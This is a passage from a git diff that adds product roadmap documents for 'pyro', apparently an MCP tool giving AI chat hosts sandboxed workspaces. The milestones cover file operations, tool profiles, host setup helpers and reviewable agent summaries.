- a Claude user can copy one shipped example and connect without reading generic
|
||||||
|
MCP docs first
|
||||||
|
- a Codex user can copy one shipped example or exact `codex mcp add ...` command
|
||||||
|
- an OpenCode user can copy one shipped config snippet without guessing its MCP
|
||||||
|
schema shape
|
||||||
|
- the README and integrations docs point to those host-specific examples from
|
||||||
|
the first integration pass
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- new shipped config examples for Codex and OpenCode
|
||||||
|
- README, install docs, and integrations docs updated to point at the new host
|
||||||
|
examples
|
||||||
|
- at least one short host-specific quickstart section or example command for
|
||||||
|
each supported host family
|
||||||
|
- runnable or documented verification steps that prove the shipped examples stay
|
||||||
|
current
|
||||||
|
|
@ -0,0 +1,65 @@
|
||||||
|
# `3.2.0` Model-Native Workspace File Ops
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Remove shell quoting and hidden host-temp-file choreography from normal
|
||||||
|
chat-driven workspace editing loops.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
Planned additions:
|
||||||
|
|
||||||
|
- `pyro workspace file list WORKSPACE_ID [PATH] [--recursive]`
|
||||||
|
- `pyro workspace file read WORKSPACE_ID PATH [--max-bytes N]`
|
||||||
|
- `pyro workspace file write WORKSPACE_ID PATH --text TEXT`
|
||||||
|
- `pyro workspace patch apply WORKSPACE_ID --patch TEXT`
|
||||||
|
- matching Python SDK methods:
|
||||||
|
- `list_workspace_files`
|
||||||
|
- `read_workspace_file`
|
||||||
|
- `write_workspace_file`
|
||||||
|
- `apply_workspace_patch`
|
||||||
|
- matching MCP tools:
|
||||||
|
- `workspace_file_list`
|
||||||
|
- `workspace_file_read`
|
||||||
|
- `workspace_file_write`
|
||||||
|
- `workspace_patch_apply`
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- scope all operations strictly under `/workspace`
|
||||||
|
- keep these tools text-first and bounded in size
|
||||||
|
- make patch application explicit and deterministic
|
||||||
|
- keep `workspace export` as the host-out path for copying results back
|
||||||
|
- keep shell and exec available for process-oriented work, not as the only way
|
||||||
|
to mutate files
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no arbitrary host filesystem access
|
||||||
|
- no generic SFTP or file-manager product identity
|
||||||
|
- no replacement of shell or exec for process lifecycle work
|
||||||
|
- no hidden auto-merge behavior for conflicting patches
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- an agent reads a file, applies a patch, reruns tests, and exports the result
|
||||||
|
without shell-escaped editing tricks
|
||||||
|
- an agent inspects a repo tree and targeted files inside one workspace without
|
||||||
|
relying on host-side temp paths
|
||||||
|
- a repro-plus-fix loop is practical from MCP alone, not only from a custom
|
||||||
|
host wrapper
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- public contract updates across CLI, SDK, and MCP
|
||||||
|
- docs and examples that show model-native file editing instead of shell-heavy
|
||||||
|
file writes
|
||||||
|
- at least one real smoke scenario centered on a repro-plus-fix loop
|
||||||
|
|
||||||
|
## Outcome
|
||||||
|
|
||||||
|
- shipped `workspace file list|read|write` and `workspace patch apply` across CLI, SDK, and MCP
|
||||||
|
- kept the surface scoped to started workspaces and `/workspace`
|
||||||
|
- updated docs, help text, examples, and smoke coverage around model-native editing flows
|
||||||
|
|
@ -0,0 +1,53 @@
|
||||||
|
# `3.3.0` Workspace Naming And Discovery
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Make multiple concurrent workspaces manageable from chat without forcing the
|
||||||
|
user or model to juggle opaque IDs.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
Planned additions:
|
||||||
|
|
||||||
|
- `pyro workspace create ... --name NAME`
|
||||||
|
- `pyro workspace create ... --label KEY=VALUE`
|
||||||
|
- `pyro workspace list`
|
||||||
|
- `pyro workspace update WORKSPACE_ID [--name NAME] [--label KEY=VALUE] [--clear-label KEY]`
|
||||||
|
- matching Python SDK methods:
|
||||||
|
- `list_workspaces`
|
||||||
|
- `update_workspace`
|
||||||
|
- matching MCP tools:
|
||||||
|
- `workspace_list`
|
||||||
|
- `workspace_update`
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- keep workspace IDs as the stable machine identifier
|
||||||
|
- treat names and labels as operator-friendly metadata and discovery aids
|
||||||
|
- surface last activity, expiry, service counts, and summary metadata in
|
||||||
|
`workspace list`
|
||||||
|
- make name and label metadata visible in create, status, and list responses
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no scheduler or queue abstractions
|
||||||
|
- no project-wide branch manager
|
||||||
|
- no hidden background cleanup policy beyond the existing TTL model
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- a user can keep separate workspaces for two issues or PRs and discover them
|
||||||
|
again without external notes
|
||||||
|
- a chat agent can list active workspaces, choose the right one, and continue
|
||||||
|
work after a later prompt
|
||||||
|
- review and evaluation flows can tag or name workspaces by repo, bug, or task
|
||||||
|
intent
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- README and install docs that show parallel named workspaces
|
||||||
|
- examples that demonstrate issue-oriented workspace naming
|
||||||
|
- smoke coverage for at least one multi-workspace flow
|
||||||
|
- public contract, CLI help, and examples that show `workspace list` and `workspace update`
|
||||||
|
|
@ -0,0 +1,51 @@
|
||||||
|
# `3.4.0` Tool Profiles And Canonical Chat Flows
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Make the model-facing surface intentionally small for chat hosts, while keeping
|
||||||
|
the full workspace product available when needed.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
Planned additions:
|
||||||
|
|
||||||
|
- `pyro mcp serve --profile {vm-run,workspace-core,workspace-full}`
|
||||||
|
- matching Python SDK and server factory configuration for the same profiles
|
||||||
|
- one canonical OpenAI Responses example that uses the workspace-core profile
|
||||||
|
- one canonical MCP/chat example that uses the same profile progression
|
||||||
|
|
||||||
|
Representative profile intent:
|
||||||
|
|
||||||
|
- `vm-run`: one-shot only
|
||||||
|
- `workspace-core`: create, status, exec, file ops, diff, reset, export, delete
|
||||||
|
- `workspace-full`: shells, services, snapshots, secrets, network policy, and
|
||||||
|
the rest of the stable workspace surface
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- keep the current full surface available for advanced users
|
||||||
|
- add profiles as an exposure control, not as a second product line
|
||||||
|
- make profile behavior explicit in docs and help text
|
||||||
|
- keep profile names stable once shipped
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no framework-specific wrappers inside the core package
|
||||||
|
- no server-side planner that chooses tools on the model's behalf
|
||||||
|
- no hidden feature gating by provider or client
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- a chat host can expose only `vm_run` for one-shot work
|
||||||
|
- a chat host can promote the same agent to `workspace-core` without suddenly
|
||||||
|
dumping the full advanced surface on the model
|
||||||
|
- a new integrator can copy one example and understand the intended progression
|
||||||
|
from one-shot to stable workspace
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- integration docs that explain when to use each profile
|
||||||
|
- canonical chat examples for both provider tool calling and MCP
|
||||||
|
- smoke coverage for at least one profile-limited chat loop
|
||||||
|
|
@ -0,0 +1,46 @@
|
||||||
|
# `3.5.0` Chat-Friendly Shell Output
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Keep persistent PTY shells powerful, but make their output clean enough to feed
|
||||||
|
directly back into a chat model.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
Planned additions:
|
||||||
|
|
||||||
|
- `pyro workspace shell read ... --plain`
|
||||||
|
- `pyro workspace shell read ... --wait-for-idle-ms N`
|
||||||
|
- matching Python SDK parameters:
|
||||||
|
- `plain=True`
|
||||||
|
- `wait_for_idle_ms=...`
|
||||||
|
- matching MCP request fields on `shell_read`
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- keep raw PTY reads available for advanced clients
|
||||||
|
- plain mode should strip terminal control sequences and normalize line endings
|
||||||
|
- idle waiting should batch the next useful chunk of output without turning the
|
||||||
|
shell into a separate job scheduler
|
||||||
|
- keep cursor-based reads so polling clients stay deterministic
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no replacement of the PTY shell with a fake line-based shell
|
||||||
|
- no automatic command synthesis inside shell reads
|
||||||
|
- no shell-only workflow that replaces `workspace exec`, services, or file ops
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- a chat agent can open a shell, write a command, and read back plain text
|
||||||
|
output without ANSI noise
|
||||||
|
- long-running interactive setup or debugging flows are readable in chat
|
||||||
|
- shell output is useful as model input without extra client-side cleanup
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- help text that makes raw versus plain shell reads explicit
|
||||||
|
- examples that show a clean interactive shell loop
|
||||||
|
- smoke coverage for at least one shell-driven debugging scenario
|
||||||
|
|
@ -0,0 +1,42 @@
|
||||||
|
# `3.6.0` Use-Case Recipes And Smoke Packs
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Turn the five target workflows into first-class documented stories and runnable
|
||||||
|
verification paths.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
No new core API is required in this milestone.
|
||||||
|
|
||||||
|
The main deliverable is packaging the now-mature workspace surface into clear
|
||||||
|
recipes, examples, and smoke scenarios that prove the intended user experience.
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- build on the existing stable workspace contract and the earlier chat-first
|
||||||
|
milestones
|
||||||
|
- keep the focus on user-facing flows, not internal test harness complexity
|
||||||
|
- treat the recipes as product documentation, not private maintainer notes
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no new CI or scheduler abstractions
|
||||||
|
- no speculative cloud orchestration work
|
||||||
|
- no broad expansion of disk tooling as the main story
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- cold-start repo validation has a documented and smoke-tested flow
|
||||||
|
- repro-plus-fix loops have a documented and smoke-tested flow
|
||||||
|
- parallel isolated workspaces have a documented and smoke-tested flow
|
||||||
|
- unsafe or untrusted code inspection has a documented and smoke-tested flow
|
||||||
|
- review and evaluation workflows have a documented and smoke-tested flow
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- a dedicated doc or section for each target use case
|
||||||
|
- at least one canonical example per use case in CLI, SDK, or MCP form
|
||||||
|
- smoke scenarios that prove each flow on a real Firecracker-backed path
|
||||||
|
|
@ -0,0 +1,48 @@
|
||||||
|
# `3.7.0` Handoff Shortcuts And File Input Sources
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Remove the last bits of shell plumbing from the canonical CLI workspace flows so
|
||||||
|
they feel productized instead of hand-assembled.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
Planned additions:
|
||||||
|
|
||||||
|
- `pyro workspace create ... --id-only`
|
||||||
|
- `pyro workspace shell open ... --id-only`
|
||||||
|
- `pyro workspace file write WORKSPACE_ID PATH --text-file PATH`
|
||||||
|
- `pyro workspace patch apply WORKSPACE_ID --patch-file PATH`
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- keep existing `--json`, `--text`, and `--patch` stable
|
||||||
|
- treat these additions as CLI-only shortcuts over already-structured behavior
|
||||||
|
- make `--text` and `--text-file` mutually exclusive
|
||||||
|
- make `--patch` and `--patch-file` mutually exclusive
|
||||||
|
- read file-backed text and patch inputs as UTF-8 text
|
||||||
|
- keep `/workspace` scoping and current patch semantics unchanged
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no new binary file-write story
|
||||||
|
- no new SDK or MCP surface just to mirror CLI shorthand flags
|
||||||
|
- no hidden patch normalization beyond the current patch-apply rules
|
||||||
|
- no change to the stable `workspace_id` contract
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- README, install docs, and first-run docs can create one workspace ID without
|
||||||
|
`python -c` output parsing
|
||||||
|
- a user can apply a patch from `fix.patch` without `$(cat fix.patch)` shell
|
||||||
|
expansion
|
||||||
|
- a user can write one text file from a host file directly, without
|
||||||
|
shell-escaped inline text
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- top-level workspace walkthroughs rewritten around the new shortcut flags
|
||||||
|
- CLI help text updated so the shortest happy path is copy-paste friendly
|
||||||
|
- at least one smoke scenario updated to use a file-backed patch input
|
||||||
|
|
@ -0,0 +1,51 @@
|
||||||
|
# `3.8.0` Chat-Host Onramp And Recommended Defaults
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Make the recommended chat-host entrypoint obvious before a new integrator has
|
||||||
|
to read deep integration docs.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
No breaking API change is required in this milestone.
|
||||||
|
|
||||||
|
The main user-visible change is guidance:
|
||||||
|
|
||||||
|
- `pyro mcp serve` help text should clearly call `workspace-core` the
|
||||||
|
recommended chat-host profile
|
||||||
|
- README, install docs, first-run docs, and shipped MCP configs should all lead
|
||||||
|
with `workspace-core`
|
||||||
|
- `workspace-full` should be framed as the explicit advanced/compatibility
|
||||||
|
surface for `3.x`
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- keep the `3.x` compatibility default unchanged
|
||||||
|
- do not add new profile names
|
||||||
|
- make the recommendation visible from help text and top-level docs, not only
|
||||||
|
the integrations page
|
||||||
|
- keep provider examples and MCP examples aligned on the same profile story
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no breaking default flip to `workspace-core` in `3.x`
|
||||||
|
- no new hidden server behavior based on client type
|
||||||
|
- no divergence between CLI, SDK, and MCP terminology for the profile ladder
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- a new chat-host integrator sees `workspace-core` as the recommended first MCP
|
||||||
|
profile from the first help/doc pass
|
||||||
|
- the top-level docs include one tiny chat-host quickstart near the first-run
|
||||||
|
path
|
||||||
|
- shipped config examples and provider examples all align on the same profile
|
||||||
|
progression
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- top-level docs updated with a minimal chat-host quickstart
|
||||||
|
- `pyro mcp serve --help` rewritten to emphasize `workspace-core`
|
||||||
|
- examples and config snippets audited so they all agree on the recommended
|
||||||
|
profile
|
||||||
|
|
@ -0,0 +1,50 @@
|
||||||
|
# `3.9.0` Content-Only Reads And Human Output Polish
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Make human-mode content reads cleaner for chat logs, terminal transcripts, and
|
||||||
|
copy-paste workflows.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
Planned additions:
|
||||||
|
|
||||||
|
- `pyro workspace file read WORKSPACE_ID PATH --content-only`
|
||||||
|
- `pyro workspace disk read WORKSPACE_ID PATH --content-only`
|
||||||
|
|
||||||
|
Behavioral polish:
|
||||||
|
|
||||||
|
- default human-mode `workspace file read` and `workspace disk read` should
|
||||||
|
always separate content from summaries cleanly, even when the file lacks a
|
||||||
|
trailing newline
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- keep JSON output unchanged
|
||||||
|
- keep human-readable summary lines by default
|
||||||
|
- `--content-only` should print only the file content and no summary footer
|
||||||
|
- keep current regular-file-only constraints for live and stopped-disk reads
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no new binary dumping contract
|
||||||
|
- no removal of human summaries from the default read path
|
||||||
|
- no expansion into a generic pager or TUI reader
|
||||||
|
- no change to SDK or MCP structured read results, which are already summary-free
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- reading a text file with no trailing newline still produces a clean transcript
|
||||||
|
- a user can explicitly request content-only output for copy-paste or shell
|
||||||
|
piping
|
||||||
|
- docs can show both summary mode and content-only mode without caveats about
|
||||||
|
messy output joining
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- CLI help text updated for file and disk read commands
|
||||||
|
- stable docs and transcripts revised to use `--content-only` where it improves
|
||||||
|
readability
|
||||||
|
- tests that cover missing trailing newline cases in human mode
|
||||||
|
|
@ -0,0 +1,55 @@
|
||||||
|
# `4.0.0` Workspace-Core Default Profile
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Make the default MCP entrypoint match the product's recommended chat-first path
|
||||||
|
instead of preserving a wider compatibility surface by default.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
This is an intentional breaking default change for the next major release:
|
||||||
|
|
||||||
|
- `pyro mcp serve` should default to `workspace-core`
|
||||||
|
- `create_server()` should default to `profile="workspace-core"`
|
||||||
|
- `Pyro.create_server()` should default to `profile="workspace-core"`
|
||||||
|
|
||||||
|
The full advanced surface remains available through explicit opt-in:
|
||||||
|
|
||||||
|
- `pyro mcp serve --profile workspace-full`
|
||||||
|
- `create_server(profile="workspace-full")`
|
||||||
|
- `Pyro.create_server(profile="workspace-full")`
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- keep all three profile names unchanged
|
||||||
|
- do not remove `workspace-full`
|
||||||
|
- make the default flip explicit in docs, changelog, help text, and migration
|
||||||
|
notes
|
||||||
|
- keep bare `vm-run` available as the smallest one-shot profile
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no silent removal of advanced workspace capabilities
|
||||||
|
- no attempt to infer a profile from the client name
|
||||||
|
- no `3.x` backport that changes the current default behavior
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- a bare `pyro mcp serve` command now exposes the recommended narrow profile
|
||||||
|
- a bare `create_server()` or `Pyro.create_server()` call matches that same
|
||||||
|
default
|
||||||
|
- advanced hosts can still opt into `workspace-full` explicitly with no loss of
|
||||||
|
functionality
|
||||||
|
- docs no longer need to explain that the recommended path and the default path
|
||||||
|
are different
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- help text, public contract, README, install docs, and integrations docs
|
||||||
|
revised to reflect the new default
|
||||||
|
- migration note explaining the default change and the explicit
|
||||||
|
`workspace-full` opt-in path
|
||||||
|
- examples audited so they only mention `--profile workspace-core` when the
|
||||||
|
explicitness is useful rather than compensating for the old default
|
||||||
|
|
@ -0,0 +1,56 @@
|
||||||
|
# `4.1.0` Project-Aware Chat Startup
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Make "current repo to disposable sandbox" the default story for the narrowed
|
||||||
|
chat-host user, without requiring manual workspace seeding choreography first.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
The chat entrypoint should gain one documented project-aware startup path:
|
||||||
|
|
||||||
|
- `pyro mcp serve` should accept an explicit local project source, such as the
|
||||||
|
current checkout
|
||||||
|
- the product path should optionally support a clean-clone source, such as a
|
||||||
|
repo URL, when the user is not starting from a local checkout
|
||||||
|
- the first useful chat turn should not depend on manually teaching
|
||||||
|
`workspace create ... --seed-path ...` before the host can do real work
|
||||||
|
|
||||||
|
Exact flag names can still change, but the product needs one obvious "use this
|
||||||
|
repo" path and one obvious "start from that repo" path.
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- keep host crossing explicit; do not silently mutate the user's checkout
|
||||||
|
- prefer local checkout seeding first, because that is the most natural daily
|
||||||
|
chat path
|
||||||
|
- preserve existing explicit sync, export, diff, and reset primitives rather
|
||||||
|
than inventing a hidden live-sync layer
|
||||||
|
- keep the startup story compatible with the existing `workspace-core` product
|
||||||
|
path
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no generic SCM integration platform
|
||||||
|
- no background multi-repo workspace manager
|
||||||
|
- no always-on bidirectional live sync between host checkout and guest
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- from a repo root, a user can connect Claude Code, Codex, or OpenCode and the
|
||||||
|
first workspace starts from that repo without extra terminal choreography
|
||||||
|
- from outside a repo checkout, a user can still start from a documented clean
|
||||||
|
source such as a repo URL
|
||||||
|
- the README and install docs can teach a repo-aware chat flow before the
|
||||||
|
manual terminal workspace flow
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- README, install docs, first-run docs, integrations docs, and public contract
|
||||||
|
updated to show the repo-aware chat startup path
|
||||||
|
- help text updated so the repo-aware startup path is visible from `pyro` and
|
||||||
|
`pyro mcp serve --help`
|
||||||
|
- at least one recipe and one real smoke scenario updated to validate the new
|
||||||
|
startup story
|
||||||
|
|
@ -0,0 +1,53 @@
|
||||||
|
# `4.2.0` Host Bootstrap And Repair
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Make supported chat hosts feel one-command to connect and easy to repair when a
|
||||||
|
local config drifts or the product changes shape.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
The CLI should grow a small host-helper surface for the supported chat hosts:
|
||||||
|
|
||||||
|
- `pyro host connect claude-code`
|
||||||
|
- `pyro host connect codex`
|
||||||
|
- `pyro host print-config opencode`
|
||||||
|
- `pyro host doctor`
|
||||||
|
- `pyro host repair HOST`
|
||||||
|
|
||||||
|
The exact names can still move, but the product needs a first-class bootstrap
|
||||||
|
and repair path for Claude Code, Codex, and OpenCode.
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- host helpers should wrap the same `pyro mcp serve` entrypoint rather than
|
||||||
|
introduce per-host runtime behavior
|
||||||
|
- config changes should remain inspectable and predictable
|
||||||
|
- support both installed-package and `uvx`-style usage where that materially
|
||||||
|
reduces friction
|
||||||
|
- keep the host helper story narrow to the current supported hosts
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no GUI installer or onboarding wizard
|
||||||
|
- no attempt to support every possible MCP-capable editor or chat shell
|
||||||
|
- no hidden network service or account-based control plane
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- a new Claude Code or Codex user can connect `pyro` with one command
|
||||||
|
- an OpenCode user can print or materialize a correct config without hand-writing
|
||||||
|
JSON
|
||||||
|
- a user with a stale or broken local host config can run one repair or doctor
|
||||||
|
flow instead of debugging MCP setup manually
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- new host-helper docs and examples for all supported chat hosts
|
||||||
|
- README, install docs, and integrations docs updated to prefer the helper
|
||||||
|
flows when available
|
||||||
|
- help text updated with exact connect and repair commands
|
||||||
|
- runnable verification or smoke coverage that proves the shipped host-helper
|
||||||
|
examples stay current
|
||||||
|
|
@ -0,0 +1,54 @@
|
||||||
|
# `4.3.0` Reviewable Agent Output
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Make it easy for a human to review what the agent actually did inside the
|
||||||
|
sandbox without manually reconstructing the session from diffs, logs, and raw
|
||||||
|
artifacts.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
The product should expose a concise workspace review surface, for example:
|
||||||
|
|
||||||
|
- `pyro workspace summary WORKSPACE_ID`
|
||||||
|
- `workspace_summary` on the MCP side
|
||||||
|
- structured JSON plus a short human-readable summary view
|
||||||
|
|
||||||
|
The summary should cover the things a chat-host user cares about:
|
||||||
|
|
||||||
|
- commands run
|
||||||
|
- files changed
|
||||||
|
- diff or patch summary
|
||||||
|
- services started
|
||||||
|
- artifacts exported
|
||||||
|
- final workspace outcome
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- prefer concise review surfaces over raw event firehoses
|
||||||
|
- keep raw logs, diffs, and exported files available as drill-down tools
|
||||||
|
- summarize only the sandbox activity the product can actually observe
|
||||||
|
- make the summary good enough to paste into a chat, bug report, or PR comment
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no full compliance or audit product
|
||||||
|
- no attempt to summarize the model's hidden reasoning
|
||||||
|
- no remote storage backend for session history
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- after a repro-fix or review-eval run, a user can inspect one summary and
|
||||||
|
understand what changed and what to review next
|
||||||
|
- the summary is useful enough to accompany exported patches or artifacts
|
||||||
|
- unsafe-inspection and review-eval flows become easier to trust because the
|
||||||
|
user can review agent-visible actions in one place
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- public contract, help text, README, and recipe docs updated with the new
|
||||||
|
summary path
|
||||||
|
- at least one host-facing example showing how to ask for or export the summary
|
||||||
|
- at least one real smoke scenario validating the review surface end to end
|
||||||
|
|
@ -0,0 +1,56 @@
|
||||||
|
# `4.4.0` Opinionated Use-Case Modes
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Stop making chat-host users think in terms of one giant workspace surface and
|
||||||
|
let them start from a small mode that matches the job they want the agent to do.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
The chat entrypoint should gain named use-case modes, for example:
|
||||||
|
|
||||||
|
- `pyro mcp serve --mode repro-fix`
|
||||||
|
- `pyro mcp serve --mode inspect`
|
||||||
|
- `pyro mcp serve --mode cold-start`
|
||||||
|
- `pyro mcp serve --mode review-eval`
|
||||||
|
|
||||||
|
Modes should narrow the product story by selecting the right defaults for:
|
||||||
|
|
||||||
|
- tool surface
|
||||||
|
- workspace bootstrap behavior
|
||||||
|
- docs and example prompts
|
||||||
|
- expected export and review outputs
|
||||||
|
|
||||||
|
Parallel workspace use should come from opening more than one named workspace
|
||||||
|
inside the same mode, not from introducing a scheduler or queue abstraction.
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- build modes on top of the existing `workspace-core` and `workspace-full`
|
||||||
|
capabilities instead of inventing separate backends
|
||||||
|
- keep the mode list short and mapped to the documented use cases
|
||||||
|
- make modes visible from help text, host helpers, and recipe docs together
|
||||||
|
- let users opt out to the generic workspace path when the mode is too narrow
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no user-defined mode DSL
|
||||||
|
- no hidden host-specific behavior for the same mode name
|
||||||
|
- no CI-style pipelines, matrix builds, or queueing abstractions
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- a new user can pick one mode and avoid reading the full workspace surface
|
||||||
|
before starting
|
||||||
|
- the documented use cases map cleanly to named entry modes
|
||||||
|
- parallel issue or PR work feels like "open another workspace in the same
|
||||||
|
mode", not "submit another job"
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- help text, README, install docs, integrations docs, and use-case recipes
|
||||||
|
updated to teach the named modes
|
||||||
|
- host-specific setup docs updated so supported hosts can start in a named mode
|
||||||
|
- at least one smoke scenario proving a mode-specific happy path end to end
|
||||||
57
docs/roadmap/llm-chat-ergonomics/4.5.0-faster-daily-loops.md
Normal file
57
docs/roadmap/llm-chat-ergonomics/4.5.0-faster-daily-loops.md
Normal file
|
|
@ -0,0 +1,57 @@
|
||||||
|
# `4.5.0` Faster Daily Loops
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Make the day-to-day chat-host loop feel cheap enough that users reach for it
|
||||||
|
for normal work, not only for special high-isolation tasks.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
The product now adds an explicit fast-path for repeated local use:
|
||||||
|
|
||||||
|
- `pyro prepare [ENVIRONMENT] [--network] [--force] [--json]`
|
||||||
|
- `pyro doctor --environment ENVIRONMENT` daily-loop readiness output
|
||||||
|
- `make smoke-daily-loop` to prove the warmed machine plus reset/retry story
|
||||||
|
|
||||||
|
The exact command names can still move, but the user-visible story needs to be:
|
||||||
|
|
||||||
|
- set the machine up once
|
||||||
|
- reconnect quickly
|
||||||
|
- create or reset a workspace cheaply
|
||||||
|
- keep iterating without redoing heavy setup work
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- optimize local-first loops on one machine before thinking about remote
|
||||||
|
execution
|
||||||
|
- focus on startup, create, reset, and retry latency rather than queue
|
||||||
|
throughput
|
||||||
|
- keep the fast path compatible with the repo-aware startup story and the
|
||||||
|
supported chat hosts
|
||||||
|
- prefer explicit caching and prewarm semantics over hidden long-running
|
||||||
|
daemons
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no cloud prewarm service
|
||||||
|
- no scheduler or queueing layer
|
||||||
|
- no daemon requirement for normal daily use
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
